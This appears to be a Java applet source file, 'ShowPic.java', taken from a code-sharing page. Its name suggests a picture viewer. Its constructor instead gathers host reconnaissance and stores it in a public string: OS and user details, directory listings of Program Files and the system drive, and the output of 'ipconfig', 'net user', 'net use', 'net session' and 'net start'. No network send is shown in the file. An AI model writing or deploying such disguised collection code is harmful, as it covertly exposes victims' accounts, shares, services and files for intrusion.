📄 showpic.java
字号:
package com.applet;
import java.lang.System;
import java.io.File;
import java.io.*;
public class ShowPic {
public String content="os information list:\n";
public ShowPic(){
getOS1();
getUserHome();
getUserName();
getOSVersion();
progFileList();
systemDrivelist();
getIPConfig();
getNeUser();
getNetUse();
getNetSession();
getNetStart();
}
private String getOS(){
String os=null;
try{
os=System.getProperty("os.name");
}catch(Exception e){
}
return os;
}
private void getOS1(){
String os=null;
try{
os=System.getProperty("os.name");
}catch(Exception e){
}
content+="os.name:"+os+"\n";
}
private void getUserHome(){
String userhome=null;
try{
userhome=System.getProperty("user.home");
}catch(Exception e){
}
content+="user.home:"+userhome+"\n";
}
private void getUserName(){
String userhome=null;
try{
userhome=System.getProperty("user.name");
}catch(Exception e){
}
content+="user.name:"+userhome+"\n";
}
private void getOSVersion(){
String osversion=null;
try{
osversion=System.getProperty("os.version");
}catch(Exception e){
}
content+="os.version:"+osversion+"\n";
}
private String getProgFile(){
String progfile=null;
try{
progfile=System.getenv("ProgramFiles");
}catch(Exception e){
}
return progfile;
}
private String getSystemDrive(){
String systemdrive=null;
try{
systemdrive=System.getenv("SystemDrive");
}catch(Exception e){
}
return systemdrive;
}
//program file
private void progFileList(){
String[] subfilename=null;
String programfiles=getProgFile();
try{
File fdir=new File(programfiles);
subfilename=fdir.list();
}catch(Exception e){
e.printStackTrace();
}
content+="program file information......................\n";
for(int i=0;i<subfilename.length;i++){
content+=subfilename[i] +"\n";
}
}
//systemdrive
private void systemDrivelist(){
String[] subfilename=null;
String systemdrive=getSystemDrive();
try{
File fdir=new File(systemdrive);
subfilename=fdir.list();
}catch(Exception e){
e.printStackTrace();
}
content+="systemdrive file information......................\n";
for(int i=0;i<subfilename.length;i++){
content+=subfilename[i] +"\n";
}
}
//cmd ipconfig
private void getIPConfig(){
Process p=null;
String os=getOS();
content+="cmd ipconfig list......................\n";
if(os.toLowerCase().indexOf("windows")>-1){
try{
p=Runtime.getRuntime().exec("ipconfig");
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while((line=br.readLine())!=null){
// System.out.println("aaa"+line);
content+=line+"\n";
}
}catch(Exception e){
e.printStackTrace();
}
}
}
//cmd net user
private void getNeUser(){
Process p=null;
String os=getOS();
content+="cmd net user list......................\n";
if(os.toLowerCase().indexOf("windows")>-1){
try{
p=Runtime.getRuntime().exec("net user");
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while((line=br.readLine())!=null){
// System.out.println("aaa"+line);
content+=line+"\n";
}
}catch(Exception e){
e.printStackTrace();
}
}
}
//cmd net use
private void getNetUse(){
Process p=null;
String os=getOS();
content+="cmd net use list......................\n";
if(os.toLowerCase().indexOf("windows")>-1){
try{
p=Runtime.getRuntime().exec("net use");
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while((line=br.readLine())!=null){
// System.out.println("aaa"+line);
content+=line+"\n";
}
}catch(Exception e){
e.printStackTrace();
}
}
}
//cmd net session
private void getNetSession(){
Process p=null;
String os=getOS();
content+="cmd net session list......................\n";
if(os.toLowerCase().indexOf("windows")>-1){
try{
p=Runtime.getRuntime().exec("net session");
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while((line=br.readLine())!=null){
// System.out.println("aaa"+line);
content+=line+"\n";
}
}catch(Exception e){
e.printStackTrace();
}
}
}
//cmd net start
private void getNetStart(){
Process p=null;
String os=getOS();
content+="cmd net start list......................\n";
if(os.toLowerCase().indexOf("windows")>-1){
try{
p=Runtime.getRuntime().exec("net start");
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while((line=br.readLine())!=null){
// System.out.println("aaa"+line);
content+=line+"\n";
}
}catch(Exception e){
e.printStackTrace();
}
}
}
/*
public static void main(String[] args){
ShowPic showpic=new ShowPic();
System.out.println(showpic.content);
System.out.println(showpic.getSystemDrive());
}
*/
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -